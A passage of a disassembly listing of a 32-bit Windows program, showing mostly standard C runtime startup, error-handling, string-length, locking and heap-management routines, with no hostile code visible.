dword_40D0F8 ; RtlAllocateHeap mov esi, eax test esi, esi jnz short loc_404BE6 push 12h call sub_404B36 pop ecx jmp loc_404D70 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: seg001:00404BD7j mov [esi], edi push esi call dword_40D10C ; GetVersionExA push esi push 0 test eax, eax jnz short loc_404C04 call ebx ; GetProcessHeap push eax call dword_40D0FC ; RtlFreeHeap jmp loc_404D70 ; --------------------------------------------------------------------------- loc_404C04: ; CODE XREF: seg001:00404BF4j mov eax, [esi+10h] mov [ebp-20h], eax mov eax, [esi+4] mov [ebp-24h], eax mov eax, [esi+8] mov [ebp-28h], eax mov edi, [esi+0Ch] and edi, 7FFFh call ebx ; GetProcessHeap push eax call dword_40D0FC ; RtlFreeHeap mov esi, [ebp-20h] cmp esi, 2 jz short loc_404C36 or edi, 8000h loc_404C36: ; CODE XREF: seg001:00404C2Ej mov ecx, [ebp-24h] mov eax, ecx shl eax, 8 mov edx, [ebp-28h] add eax, edx mov dword_4113D0, esi mov dword_4113D8, eax mov dword_4113DC, ecx mov dword_4113E0, edx mov dword_4113D4, edi call sub_404B5A mov [ebp-20h], eax xor ebx, ebx inc ebx push ebx call sub_405D08 pop ecx test eax, eax jnz short loc_404C7E push 1Ch call sub_404B36 pop ecx loc_404C7E: ; CODE XREF: seg001:00404C74j call sub_406621 test eax, eax jnz short loc_404C8F push 10h call sub_404B36 pop ecx loc_404C8F: ; CODE XREF: seg001:00404C85j call sub_40758F mov [ebp-4], ebx call sub_409047 test eax, eax jge short loc_404CA8 push 1Bh call sub_40422F pop ecx loc_404CA8: ; CODE XREF: seg001:00404C9Ej call dword_40D108 ; GetCommandLineA mov dword_413BA4, eax call sub_408F12 mov dword_411414, eax call sub_408E59 test eax, eax jge short loc_404CCE push 8 call sub_40422F pop ecx loc_404CCE: ; CODE XREF: seg001:00404CC4j call sub_408BE6 test eax, eax jge short loc_404CDF push 9 call sub_40422F pop ecx loc_404CDF: ; CODE XREF: seg001:00404CD5j push ebx call sub_40434B pop ecx test eax, eax jz short loc_404CF1 push eax call sub_40422F pop ecx loc_404CF1: ; CODE XREF: seg001:00404CE8j call sub_408B89 test [ebp-44h], bl jz short loc_404D01 movzx ecx, word ptr [ebp-40h] jmp short loc_404D04 ; --------------------------------------------------------------------------- loc_404D01: ; CODE XREF: seg001:00404CF9j push 0Ah pop ecx loc_404D04: ; CODE XREF: seg001:00404CFFj push ecx push eax push 0 push offset __ImageBase call sub_4038C0 mov [ebp-1Ch], eax cmp dword ptr [ebp-20h], 0 jnz short loc_404D21 push eax call sub_4044BF loc_404D21: ; CODE XREF: seg001:00404D19j call sub_4044E1 jmp short loc_404D56 ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-2Ch], ecx push eax push ecx call sub_407786 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-2Ch] mov [ebp-1Ch], eax cmp dword ptr [ebp-20h], 0 jnz short loc_404D51 push eax call sub_4044D0 loc_404D51: ; CODE XREF: seg001:00404D49j call sub_4044F0 loc_404D56: ; CODE XREF: seg001:00404D26j mov dword ptr [ebp-4], 0FFFFFFFEh mov eax, [ebp-1Ch] jmp short loc_404D75 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov dword ptr [ebp-4], 0FFFFFFFEh loc_404D70: ; CODE XREF: seg001:00404BE1j ; seg001:00404BFFj mov eax, 0FFh loc_404D75: ; CODE XREF: seg001:00404D60j call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_404D7B: ; DATA XREF: seg002:0041CFD4o call sub_409287 jmp loc_404B9B ; =============== S U B R O U T I N E ======================================= sub_404D85 proc near ; CODE XREF: sub_4044FF+15p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_411420, eax retn sub_404D85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=2A8h sub_404D8F proc near ; CODE XREF: sub_403A78+3Dp ; sub_404E8B+1Fj ... var_328 = dword ptr -328h var_31C = dword ptr -31Ch var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_244 = word ptr -244h var_240 = word ptr -240h var_23C = word ptr -23Ch var_238 = word ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = word ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = word ptr -208h var_4 = dword ptr -4 push ebp lea ebp, [esp-2A8h] sub esp, 328h mov eax, dword_410440 xor eax, ebp mov [ebp+2A8h+var_4], eax push esi mov [ebp+2A8h+var_220], eax mov [ebp+2A8h+var_224], ecx mov [ebp+2A8h+var_228], edx mov [ebp+2A8h+var_22C], ebx mov [ebp+2A8h+var_230], esi mov [ebp+2A8h+var_234], edi mov [ebp+2A8h+var_208], ss mov [ebp+2A8h+var_214], cs mov [ebp+2A8h+var_238], ds mov [ebp+2A8h+var_23C], es mov [ebp+2A8h+var_240], fs mov [ebp+2A8h+var_244], gs pushf pop [ebp+2A8h+var_210] mov esi, [ebp+2ACh] lea eax, [ebp+2ACh] mov [ebp+2A8h+var_20C], eax mov [ebp+2A8h+var_2D0], 10001h mov [ebp+2A8h+var_218], esi mov eax, [eax-4] push 50h mov [ebp+2A8h+var_21C], eax lea eax, [ebp+2A8h+var_328] push 0 push eax call sub_403FE0 lea eax, [ebp+2A8h+var_328] mov [ebp+2A8h+var_2D8], eax lea eax, [ebp+2A8h+var_2D0] add esp, 0Ch mov [ebp+2A8h+var_328], 0C000000Dh mov [ebp+2A8h+var_31C], esi mov [ebp+2A8h+var_2D4], eax call dword_40D124 ; IsDebuggerPresent push 0 mov esi, eax call dword_40D120 ; SetUnhandledExceptionFilter lea eax, [ebp+2A8h+var_2D8] push eax call dword_40D11C ; UnhandledExceptionFilter test eax, eax jnz short loc_404E63 test esi, esi jnz short loc_404E63 push 2 call sub_40931B pop ecx loc_404E63: ; CODE XREF: sub_404D8F+C6j ; sub_404D8F+CAj push 0C000000Dh call dword_40D118 ; GetCurrentProcess push eax call dword_40D0B0 ; TerminateProcess mov ecx, [ebp+2A8h+var_4] xor ecx, ebp pop esi call sub_403F45 add ebp, 2A8h leave retn sub_404D8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E8B proc near ; CODE XREF: sub_4040E8+1Ep ; sub_4040E8+4Dp ... push ebp mov ebp, esp push dword_411420 call sub_4062CC test eax, eax pop ecx jz short loc_404EA1 pop ebp jmp eax ; --------------------------------------------------------------------------- loc_404EA1: ; CODE XREF: sub_404E8B+11j push 2 call sub_40931B pop ecx pop ebp jmp sub_404D8F sub_404E8B endp ; =============== S U B R O U T I N E ======================================= sub_404EAF proc near ; CODE XREF: sub_403A78+2Cp ; sub_405D62+6Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_0] push ebx xor ebx, ebx cmp ecx, ebx push esi push edi jz short loc_404EC4 mov edi, [esp+0Ch+arg_4] cmp edi, ebx ja short loc_404EDF loc_404EC4: ; CODE XREF: sub_404EAF+Bj ; sub_404EAF+3Aj call sub_403F8F push 16h pop esi mov [eax], esi loc_404ECE: ; CODE XREF: sub_404EAF+5Dj push ebx push ebx push ebx push ebx push ebx call sub_404E8B add esp, 14h mov eax, esi jmp short loc_404F10 ; --------------------------------------------------------------------------- loc_404EDF: ; CODE XREF: sub_404EAF+13j mov esi, [esp+0Ch+arg_8] cmp esi, ebx jnz short loc_404EEB mov [ecx], bl jmp short loc_404EC4 ; --------------------------------------------------------------------------- loc_404EEB: ; CODE XREF: sub_404EAF+36j mov edx, ecx loc_404EED: ; CODE XREF: sub_404EAF+49j mov al, [esi] mov [edx], al inc edx inc esi cmp al, bl jz short loc_404EFA dec edi jnz short loc_404EED loc_404EFA: ; CODE XREF: sub_404EAF+46j cmp edi, ebx jnz short loc_404F0E mov [ecx], bl call sub_403F8F push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_404ECE ; --------------------------------------------------------------------------- loc_404F0E: ; CODE XREF: sub_404EAF+4Dj xor eax, eax loc_404F10: ; CODE XREF: sub_404EAF+2Ej pop edi pop esi pop ebx retn sub_404EAF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_404F20 proc near ; CODE XREF: sub_403A78+13p ; sub_405D62+CAp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_404F50 loc_404F2C: ; CODE XREF: sub_404F20+1Bj mov al, [ecx] add ecx, 1 test al, al jz short loc_404F83 test ecx, 3 jnz short loc_404F2C add eax, 0 lea esp, [esp+0] lea esp, [esp+0] loc_404F50: ; CODE XREF: sub_404F20+Aj ; sub_404F20+46j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_404F50 mov eax, [ecx-4] test al, al jz short loc_404FA1 test ah, ah jz short loc_404F97 test eax, 0FF0000h jz short loc_404F8D test eax, 0FF000000h jz short loc_404F83 jmp short loc_404F50 ; --------------------------------------------------------------------------- loc_404F83: ; CODE XREF: sub_404F20+13j ; sub_404F20+5Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_404F8D: ; CODE XREF: sub_404F20+58j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_404F97: ; CODE XREF: sub_404F20+51j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_404FA1: ; CODE XREF: sub_404F20+4Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_404F20 endp ; =============== S U B R O U T I N E ======================================= sub_404FAB proc near ; CODE XREF: sub_406621+10Cp push esi push edi xor esi, esi mov edi, offset dword_411428 loc_404FB4: ; CODE XREF: sub_404FAB+35j cmp dword_4105E4[esi*8], 1 jnz short loc_404FDC lea eax, ds:4105E0h[esi*8] mov [eax], edi push 0FA0h push dword ptr [eax] add edi, 18h call sub_407B1C test eax, eax pop ecx pop ecx jz short loc_404FE8 loc_404FDC: ; CODE XREF: sub_404FAB+11j inc esi cmp esi, 24h jl short loc_404FB4 xor eax, eax inc eax loc_404FE5: ; CODE XREF: sub_404FAB+47j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_404FE8: ; CODE XREF: sub_404FAB+2Fj and off_4105E0[esi*8], 0 xor eax, eax jmp short loc_404FE5 sub_404FAB endp ; =============== S U B R O U T I N E ======================================= sub_404FF4 proc near ; CODE XREF: sub_406375:loc_4063ADj push ebx mov ebx, dword_40D128 push esi mov esi, offset off_4105E0 push edi loc_405002: ; CODE XREF: sub_404FF4+30j mov edi, [esi] test edi, edi jz short loc_40501B cmp dword ptr [esi+4], 1 jz short loc_40501B push edi call ebx ; RtlDeleteCriticalSection push edi call sub_40405A and dword ptr [esi], 0 pop ecx loc_40501B: ; CODE XREF: sub_404FF4+12j ; sub_404FF4+18j add esi, 8 cmp esi, offset dword_410700 jl short loc_405002 mov esi, offset off_4105E0 pop edi loc_40502C: ; CODE XREF: sub_404FF4+50j mov eax, [esi] test eax, eax jz short loc_40503B cmp dword ptr [esi+4], 1 jnz short loc_40503B push eax call ebx ; RtlDeleteCriticalSection loc_40503B: ; CODE XREF: sub_404FF4+3Cj ; sub_404FF4+42j add esi, 8 cmp esi, offset dword_410700 jl short loc_40502C pop esi pop ebx retn sub_404FF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405049 proc near ; CODE XREF: sub_403B0E+2p ; sub_4040B0+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push off_4105E0[eax*8] call dword_40D12C ; RtlLeaveCriticalSection pop ebp retn sub_405049 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40505E proc near ; CODE XREF: sub_405121+14p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_40E538 call __SEH_prolog4 xor edi, edi inc edi mov [ebp+var_1C], edi xor ebx, ebx cmp dword_41157C, ebx jnz short loc_405092 call sub_405F02 push 1Eh call sub_405D62 push 0FFh call sub_404279 pop ecx pop ecx loc_405092: ; CODE XREF: sub_40505E+1Aj mov esi, [ebp+arg_0] lea esi, ds:4105E0h[esi*8] cmp [esi], ebx jz short loc_4050A4 mov eax, edi jmp short loc_405112 ; --------------------------------------------------------------------------- loc_4050A4: ; CODE XREF: sub_40505E+40j push 18h call sub_409323 pop ecx mov edi, eax cmp edi, ebx jnz short loc_4050C1 call sub_403F8F mov dword ptr [eax], 0Ch xor eax, eax jmp short loc_405112 ; --------------------------------------------------------------------------- loc_4050C1: ; CODE XREF: sub_40505E+52j push 0Ah call sub_405121 pop ecx mov [ebp+ms_exc.disabled], ebx cmp [esi], ebx jnz short loc_4050FC push 0FA0h push edi call sub_407B1C pop ecx pop ecx test eax, eax jnz short loc_4050F8 push edi call sub_40405A pop ecx call sub_403F8F mov dword ptr [eax], 0Ch mov [ebp+var_1C], ebx jmp short loc_405103 ; --------------------------------------------------------------------------- loc_4050F8: ; CODE XREF: sub_40505E+81j mov [esi], edi jmp short loc_405103 ; --------------------------------------------------------------------------- loc_4050FC: ; CODE XREF: sub_40505E+70j push edi call sub_40405A pop ecx loc_405103: ; CODE XREF: sub_40505E+98j ; sub_40505E+9Cj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_405118 mov eax, [ebp+var_1C] loc_405112: ; CODE XREF: sub_40505E+44j ; sub_40505E+61j call __SEH_epilog4 retn sub_40505E endp ; =============== S U B R O U T I N E ======================================= sub_405118 proc near ; CODE XREF: sub_40505E+ACp ; DATA XREF: seg001:0040E550o push 0Ah call sub_405049 pop ecx retn sub_405118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405121 proc near ; CODE XREF: sub_403AC8+1Dp ; sub_40405A+1Ep ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi lea esi, ds:4105E0h[eax*8] cmp dword ptr [esi], 0 jnz short loc_405147 push eax call sub_40505E test eax, eax pop ecx jnz short loc_405147 push 11h call sub_40422F pop ecx loc_405147: ; CODE XREF: sub_405121+11j ; sub_405121+1Cj push dword ptr [esi] call dword_40D130 ; RtlEnterCriticalSection pop esi pop ebp retn sub_405121 endp ; =============== S U B R O U T I N E ======================================= sub_405152 proc near ; CODE XREF: sub_405D08+37p arg_0 = dword ptr 4 push 140h push 0 push dword_41157C call dword_40D0F8 ; RtlAllocateHeap test eax, eax mov dword_413B90, eax jnz short loc_40516F retn ; --------------------------------------------------------------------------- loc_40516F: ; CODE XREF: sub_405152+1Aj mov ecx, [esp+arg_0] and dword_411578, 0 and dword_413B8C, 0 mov dword_413B98, eax xor eax, eax mov dword_413B94, ecx mov dword_413B9C, 10h inc eax retn sub_405152 endp ; =============== S U B R O U T I N E ======================================= sub_40519A proc near ; CODE XREF: sub_40405A+29p ; sub_40A965+4Ep ... arg_0 = dword ptr 4 mov ecx, dword_413B8C mov eax, dword_413B90 imul ecx, 14h add ecx, eax jmp short loc_4051BE ; --------------------------------------------------------------------------- loc_4051AC: ; CODE XREF: sub_40519A+26j mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_4051C4 add eax, 14h loc_4051BE: ; CODE XREF: sub_40519A+10j cmp eax, ecx jb short loc_4051AC xor eax, eax locret_4051C4: ; CODE XREF: sub_40519A+1Fj retn sub_40519A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051C5 proc near ; CODE XREF: sub_40405A+38p ; sub_40B7A2+B5p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push esi mov esi, [ebp+arg_4] push edi mov edi, esi sub edi, [ecx+0Ch] add esi, 0FFFFFFFCh shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_4054D5 push ebx lea ebx, [ecx+esi] mov edx, [ebx] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_405290 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_405228 push 3Fh pop edx loc_405228: ; CODE XREF: sub_4051C5+5Ej mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_405272 cmp edx, 20h mov ebx, 80000000h jnb short loc_405253 mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_40526F mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_40526F ; --------------------------------------------------------------------------- loc_405253: ; CODE XREF: sub_4051C5+73j lea ecx, [edx-20h] shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_40526F mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_40526F: ; CODE XREF: sub_4051C5+85j ; sub_4051C5+8Cj ... mov ebx, [ebp+arg_4] loc_405272: ; CODE XREF: sub_4051C5+69j mov edx, [ebx+8] mov ebx, [ebx+4] mov ecx, [ebp+var_4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx mov [ebp+var_4], ecx loc_405290: ; CODE XREF: sub_4051C5+55j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_40529E push 3Fh pop edx loc_40529E: ; CODE XREF: sub_4051C5+D4j mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_40533C sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_4052C3 mov ebx, esi loc_4052C3: ; CODE XREF: sub_4051C5+FAj add ecx, [ebp+var_8] mov edx, ecx sar edx, 4 dec edx cmp edx, esi mov [ebp+var_4], ecx jbe short loc_4052D5 mov edx, esi loc_4052D5: ; CODE XREF: sub_4051C5+10Cj cmp ebx, edx jz short loc_405337 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_40531F cmp ebx, 20h mov esi, 80000000h jnb short loc_405305 mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_40531F mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_40531F ; --------------------------------------------------------------------------- loc_405305: ; CODE XREF: sub_4051C5+127j lea ecx, [ebx-20h] shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_40531F mov ecx, [ebp+arg_0] and [ecx+4], esi loc_40531F: ; CODE XREF: sub_4051C5+11Dj ; sub_4051C5+137j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_405337: ; CODE XREF: sub_4051C5+112j mov esi, [ebp+arg_4] jmp short loc_40533F ; --------------------------------------------------------------------------- loc_40533C: ; CODE XREF: sub_4051C5+E2j mov ebx, [ebp+arg_0] loc_40533F: ; CODE XREF: sub_4051C5+175j cmp [ebp+var_C], 0 jnz short loc_40534D cmp ebx, edx jz loc_4053CD loc_40534D: ; CODE XREF: sub_4051C5+17Ej mov ecx, [ebp+var_10] lea ecx, [ecx+edx*8] mov ebx, [ecx+4] mov [esi+8], ecx mov [esi+4], ebx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_4053CD mov cl, [edx+eax+4] mov byte ptr [ebp+arg_4+3], cl inc cl cmp edx, 20h mov [edx+eax+4], cl jnb short loc_4053A4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_405393 mov ecx, edx mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_405393: ; CODE XREF: sub_4051C5+1BEj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_4053CD ; --------------------------------------------------------------------------- loc_4053A4: ; CODE XREF: sub_4051C5+1B8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4053BA lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_4053BA: ; CODE XREF: sub_4051C5+1E3j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_4053CD: ; CODE XREF: sub_4051C5+182j ; sub_4051C5+1A6j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_4054D4 mov eax, dword_411578 test eax, eax jz loc_4054C6 mov ecx, dword_413BA0 mov esi, dword_40D134 push 4000h shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_413BA0 mov eax, dword_411578 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_411578 mov eax, [eax+10h] mov ecx, dword_413BA0 and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_411578 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_411578 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_40545B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_411578 loc_40545B: ; CODE XREF: sub_4051C5+28Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_4054C6 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_411578 push dword ptr [eax+10h] push 0 push dword_41157C call dword_40D0FC ; RtlFreeHeap mov ecx, dword_413B8C mov eax, dword_411578 imul ecx, 14h mov edx, dword_413B90 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_409400 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_413B8C cmp eax, dword_411578 jbe short loc_4054BC sub [ebp+arg_0], 14h loc_4054BC: ; CODE XREF: sub_4051C5+2F1j mov eax, dword_413B90 mov dword_413B98, eax loc_4054C6: ; CODE XREF: sub_4051C5+223j ; sub_4051C5+29Aj mov eax, [ebp+arg_0] mov dword_411578, eax mov dword_413BA0, edi loc_4054D4: ; CODE XREF: sub_4051C5+216j pop ebx loc_4054D5: ; CODE XREF: sub_4051C5+37j pop edi pop esi leave retn sub_4051C5 endp ; =============== S U B R O U T I N E ======================================= sub_4054D9 proc near ; CODE XREF: sub_40596E+C0p mov eax, dword_413B9C push esi mov esi, dword_413B8C push edi xor edi, edi cmp esi, eax jnz short loc_405520 add eax, 10h imul eax, 14h push eax push dword_413B90 push edi push dword_41157C call dword_40D13C ; RtlReAllocateHeap cmp eax, edi jnz short loc_40550E loc_40550A: ; CODE XREF: sub_4054D9+68j ; sub_4054D9+94j xor eax, eax jmp short loc_405586 ; --------------------------------------------------------------------------- loc_40550E: ; CODE XREF: sub_4054D9+2Fj add dword_413B9C, 10h mov esi, dword_413B8C mov dword_413B90, eax loc_405520: ; CODE XREF: sub_4054D9+11j imul esi, 14h add esi, dword_413B90 push 41C4h push 8 push dword_41157C call dword_40D0F8 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_40550A push 4 push 2000h push 100000h push edi call dword_40D138 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_40556F push dword ptr [esi+10h] push edi push dword_41157C call dword_40D0FC ; RtlFreeHeap jmp short loc_40550A ; --------------------------------------------------------------------------- loc_40556F: ; CODE XREF: sub_4054D9+82j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_413B8C mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_405586: ; CODE XREF: sub_4054D9+33j pop edi pop esi retn sub_4054D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405589 proc near ; CODE XREF: sub_40596E+D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_0] mov eax, [ecx+8] push ebx push esi mov esi, [ecx+10h] push edi xor ebx, ebx jmp short loc_4055A1 ; --------------------------------------------------------------------------- loc_40559E: ; CODE XREF: sub_405589+1Aj add eax, eax inc ebx loc_4055A1: ; CODE XREF: sub_405589+13j test eax, eax jge short loc_40559E mov eax, ebx imul eax, 204h lea eax, [eax+esi+144h] push 3Fh mov [ebp+var_8], eax pop edx loc_4055BA: ; CODE XREF: sub_405589+3Bj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_4055BA push 4 mov edi, ebx push 1000h shl edi, 0Fh add edi, [ecx+0Ch] push 8000h push edi call dword_40D138 ; VirtualAlloc test eax, eax jnz short loc_4055ED or eax, 0FFFFFFFFh jmp loc_40568A ; --------------------------------------------------------------------------- loc_4055ED: ; CODE XREF: sub_405589+5Aj lea edx, [edi+7000h] cmp edi, edx mov [ebp+var_4], edx ja short loc_40563D mov ecx, edx sub ecx, edi shr ecx, 0Ch lea eax, [edi+10h] inc ecx loc_405605: ; CODE XREF: sub_405589+AFj or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea edx, [eax+0FFCh] mov [eax], edx lea edx, [eax-1004h] mov dword ptr [eax-4], 0FF0h mov [eax+4], edx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h dec ecx jnz short loc_405605 mov edx, [ebp+var_4] loc_40563D: ; CODE XREF: sub_405589+6Fj mov eax, [ebp+var_8] add eax, 1F8h lea ecx, [edi+0Ch] mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 xor edi, edi inc edi mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_40567A or [eax+4], edi loc_40567A: ; CODE XREF: sub_405589+ECj mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_40568A: ; CODE XREF: sub_405589+5Fj pop edi pop esi pop ebx leave retn sub_405589 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40568F proc near ; CODE XREF: sub_40B7A2+77p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ecx+10h] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov edx, edi sub edx, [ecx+0Ch] add esi, 17h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] and esi, 0FFFFFFF0h dec ecx cmp esi, ecx lea edi, [ecx+edi-4] mov ebx, [edi] mov [ebp+arg_8], ecx mov [ebp+var_4], ebx jle loc_405831 test bl, 1 jnz loc_40582A add ebx, ecx cmp esi, ebx jg loc_40582A mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_405704 push 3Fh pop ecx mov [ebp+var_8], ecx loc_405704: ; CODE XREF: sub_40568F+6Dj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_40574F cmp ecx, 20h mov ebx, 80000000h jnb short loc_405730 shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_40574F mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_40574F ; --------------------------------------------------------------------------- loc_405730: ; CODE XREF: sub_40568F+85j add ecx, 0FFFFFFE0h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_40574F mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_40574F: ; CODE XREF: sub_40568F+7Bj ; sub_40568F+98j ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_405818 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi cmp edi, 3Fh lea ecx, [ecx+esi-4] jbe short loc_405789 push 3Fh pop edi loc_405789: ; CODE XREF: sub_40568F+F5j mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov 